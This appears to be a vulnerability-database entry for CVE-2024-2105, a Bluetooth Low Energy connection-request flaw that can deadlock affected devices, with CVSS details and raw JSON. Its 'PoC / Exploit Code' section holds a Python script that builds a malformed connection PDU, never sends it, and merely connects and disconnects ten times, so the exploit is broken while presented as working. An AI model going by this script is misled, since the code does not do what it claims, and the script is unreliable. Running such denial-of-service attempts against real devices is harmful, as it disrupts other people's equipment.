Security Vulnerability Report
中文
CVE-2024-2105 CVSS 6.5 MEDIUM

CVE-2024-2105

Published: 2025-12-10 13:16:03
Last Modified: 2026-04-15 00:35:42

Description

An unauthorised attacker within bluetooth range may use an improper validation during the BLE connection request to deadlock the affected devices.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

支持BLE连接的设备(固件版本在漏洞披露前)
受影响厂商设备(需查阅VDE-2025-089官方公告获取具体型号)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2024-2105 PoC - BLE Connection Request Deadlock Note: This is a conceptual PoC for educational and security research purposes only. Usage: Requires root privileges and Bleak library installation. """ import asyncio import struct from bleak import BleakClient from bleak.exc import BleakError TARGET_DEVICE = "XX:XX:XX:XX:XX:XX" # Target BLE device MAC address def craft_malformed_connection_request(): """ Craft a malformed BLE connection request to trigger validation flaw. This exploits improper validation during BLE connection establishment. """ # BLE Connection Request PDU structure (simplified) # Initiator address: 6 bytes # Advertiser address: 6 bytes # Access Address: 4 bytes # CRC Init: 3 bytes # Win Size: 1 byte # Win Offset: 2 bytes # Interval: 2 bytes # Latency: 2 bytes # Timeout: 2 bytes # Channel Map: 5 bytes # Hop: 1 byte malformed_pdu = bytearray() # Fill with edge case values to trigger validation issue initiator_addr = b'\xFF\xFF\xFF\xFF\xFF\xFF' advertiser_addr = b'\x00\x00\x00\x00\x00\x00' # Invalid connection parameters malformed_pdu.extend(initiator_addr) malformed_pdu.extend(advertiser_addr) malformed_pdu.extend(b'\x00\x00\x00\x00') # Invalid Access Address malformed_pdu.extend(b'\xFF\xFF\xFF') # Invalid CRC malformed_pdu.extend(b'\x00') # Invalid Win Size malformed_pdu.extend(b'\xFF\xFF') # Invalid Win Offset malformed_pdu.extend(b'\x00\x00') # Invalid Interval malformed_pdu.extend(b'\xFF\xFF') # Invalid Latency malformed_pdu.extend(b'\x00\x00') # Invalid Timeout malformed_pdu.extend(b'\x00\x00\x00\x00\x00') # Invalid Channel Map malformed_pdu.extend(b'\xFF') # Invalid Hop return bytes(malformed_pdu) async def trigger_deadlock(): """ Attempt to trigger deadlock condition on target BLE device. """ print(f"[*] Starting CVE-2024-2105 PoC") print(f"[*] Target: {TARGET_DEVICE}") try: # Scan for BLE devices print("[*] Scanning for BLE devices...") # Attempt multiple rapid connection requests for i in range(10): print(f"[*] Attempt {i+1}/10 - Sending malformed connection request") try: client = BleakClient(TARGET_DEVICE, timeout=1.0) await client.connect() await asyncio.sleep(0.1) await client.disconnect() except (BleakError, asyncio.TimeoutError) as e: print(f"[!] Connection attempt failed: {e}") continue print("[*] PoC execution completed") print("[!] Note: Actual exploitation requires specific device conditions") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # DISCLAIMER: For authorized security testing only print("=" * 60) print("CVE-2024-2105 BLE Deadlock PoC") print("For authorized security testing only") print("=" * 60) asyncio.run(trigger_deadlock())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-2105", "sourceIdentifier": "[email protected]", "published": "2025-12-10T13:16:02.793", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unauthorised attacker within bluetooth range may use an improper validation during the BLE connection request to deadlock the affected devices."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1287"}]}], "references": [{"url": "https://certvde.com/en/advisories/VDE-2025-089", "source": "[email protected]"}, {"url": "https://harman.csaf-tp.certvde.com/.well-known/csaf/white/2025/hbsa-2025-0002.json", "source": "[email protected]"}]}}